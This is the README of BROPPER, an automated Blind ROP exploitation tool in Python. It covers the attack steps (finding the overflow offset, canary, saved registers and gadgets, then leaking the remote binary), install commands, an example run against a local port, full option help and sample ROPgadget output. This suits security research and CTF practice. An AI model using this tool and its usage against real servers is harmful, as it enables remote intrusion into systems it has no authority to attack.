BROPPER
An automatic Blind ROP exploitation python tool
Abstract
BROP (Blind ROP) was a technique found by Andrew Bittau from Stanford in 2014.
Most servers like nginx, Apache, MySQL, and forks then communicate with the client. This means canary and addresses stay the same even if there is ASLR and PIE. So we can use some educated brute force to leak information and subsequently craft a working exploit.
Flow of exploitation
- Find buffer overflow offset
- Find canary
- Find saved registers (RBP / RIP)
- Find stop gadgets
- Find brop gadgets
- Find a Write function (write / dprintf / puts / …)
- Leak the binary
Examples of Results
There are 3 customs vulnerable examples provided in this repository. You can run it directly or build the Dockerfile
BROPPER will then dump the binary :
It’s then possible to extract all ROP gadgets from the dumped binary using ROPgadget for example :
$ ROPgadget --binary dump
Gadgets information
============================================================
0x0000000000001177 : adc al, 0 ; add byte ptr [rax], al ; jmp 0x1020
0x0000000000001157 : adc al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x1020
0x0000000000001137 : adc byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x1020
...
...
...
0x0000000000001192 : xor ch, byte ptr [rdi] ; add byte ptr [rax], al ; push 0x16 ; jmp 0x1020
0x000000000000182e : xor eax, 0x891 ; mov rdi, rax ; call rcx
0x0000000000001861 : xor eax, 0xffffff22 ; mov rdi, rax ; call rcx
Unique gadgets found: 235
Install
git clone https://github.com/Hakumarachi/Bropper.git
cd Bropper
python3 -m pip install -r requirements.txt
Use
python3 bropper.py -t 127.0.0.1 -p 1337 –wait “Password :” –expected Bad –expected-stop Welcome -o dump
$ python3 bropper.py -h
usage: bropper.py [-h] -t TARGET -p PORT --expected-stop EXPECTED_STOP --expected EXPECTED --wait WAIT -o OUTPUT [--offset OFFSET] [--canary CANARY] [--no-canary] [--rbp RBP] [--rip RIP] [--stop STOP]
[--brop BROP] [--plt PLT] [--strcmp STRCMP] [--elf ELF]
Description message
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
target url
-p PORT, --port PORT target port
--expected-stop EXPECTED_STOP
Expected response for the stop gadget
--expected EXPECTED Expected normal response
--wait WAIT String to wait before sending payload
-o OUTPUT, --output OUTPUT
File to write dumped remote binary
--offset OFFSET set a offset value
--canary CANARY set a canary value
--no-canary Use this argument if there is no stack canary protection
--rbp RBP set rbp address
--rip RIP set rip address
--stop STOP set stop gadget address
--brop BROP set brop gadget address
--plt PLT set plt address
--strcmp STRCMP set strcmp entry value
--elf ELF set elf address
Source: https://github.com/Hakumarachi/
